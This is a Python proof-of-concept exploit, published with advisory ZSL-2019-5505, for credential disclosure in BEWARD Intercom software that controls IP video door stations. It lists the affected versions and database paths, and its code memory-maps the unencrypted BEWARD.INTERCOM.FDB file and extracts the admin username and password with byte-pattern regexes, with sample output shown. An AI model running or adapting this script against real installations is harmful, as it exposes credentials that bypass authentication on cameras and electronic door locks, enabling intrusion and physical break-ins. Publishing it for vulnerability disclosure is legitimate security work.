#!/usr/bin/env python # -*- coding: utf8 -*- # # BEWARD Intercom 2.3.1 Credentials Disclosure # # # Vendor: Beward R&D Co., Ltd # Product web page: https://www.beward.net # Affected version: 2.3.1.34471 # 2.3.0 # 2.2.11 # 2.2.10.5 # 2.2.9 # 2.2.8.9 # 2.2.7.4 # # Note: For versions above 2.2.11: The application data directory, which # stores logs, settings and the call records archive, was moved to ProgramData\BEWARD. # # New versions: C:\ProgramData\BEWARD\BEWARD Intercom\DB\BEWARD.INTERCOM.FDB # Old versions: C:\Users\%username%\AppData\Local\Beward R&D Co., Ltd\BEWARD Intercom\DB\BEWARD.INTERCOM.FDB # # Summary: Multiaccessible User Operation, Electronic Lock Control, Real-Time # Video, Two-Way Audio. The software is used for BEWARD IP video door stations # control. # # Desc: The application stores logs and sensitive information in an unencrypted # binary file called BEWARD.INTERCOM.FDB. A local attacker that has access to # the current user session can successfully disclose plain-text credentials that # can be used to bypass authentication to the affected IP camera and door station # and bypass access control in place. # # Tested on: Microsoft Windows 10 Home (EN) # Microsoft Windows 7 SP1 (EN) # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2019-5505 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5505.php # # # ####################################################################### # Output: # -------- # C:\> python beward_creds.py # Username: admin # Password: S3cr3tP4$$w0rd # C:\> # ####################################################################### # # 28.11.2018 # import subprocess import mmap###### import re######## import os######## # # For versions bellow 2.2.11: # # cuser = subprocess.check_output("echo %username%", shell=True) # dbfile = ('C:\Users\\' + cuser.rstrip() + '\Ap' # 'pData\Local\Beward R&D Co., Ltd\BEW' # 'ARD Intercom\DB\BEWARD.INTERCOM.FDB' # ) # # # For versions 2.2.11 and above: # dbfile = 'C:\ProgramData\BEWARD\BEWARD Intercom\DB\BEWARD.INTERCOM.FDB' def mapfile(filename): file = open(filename, "r+") size = os.path.getsize(filename) return mmap.mmap(file.fileno(), size) data = mapfile(dbfile) m = re.search(r"\xF7\x00\x07\x05\x00(.*?)\xD3\x00\x0E\x0C\x00", data) print "Username: " + m.group(1) m = re.search(r"\xD3\x00\x0E\x0C\x00(.*?)\xDA\x00\x11\x0F\x00", data) print "Password: " + m.group(1)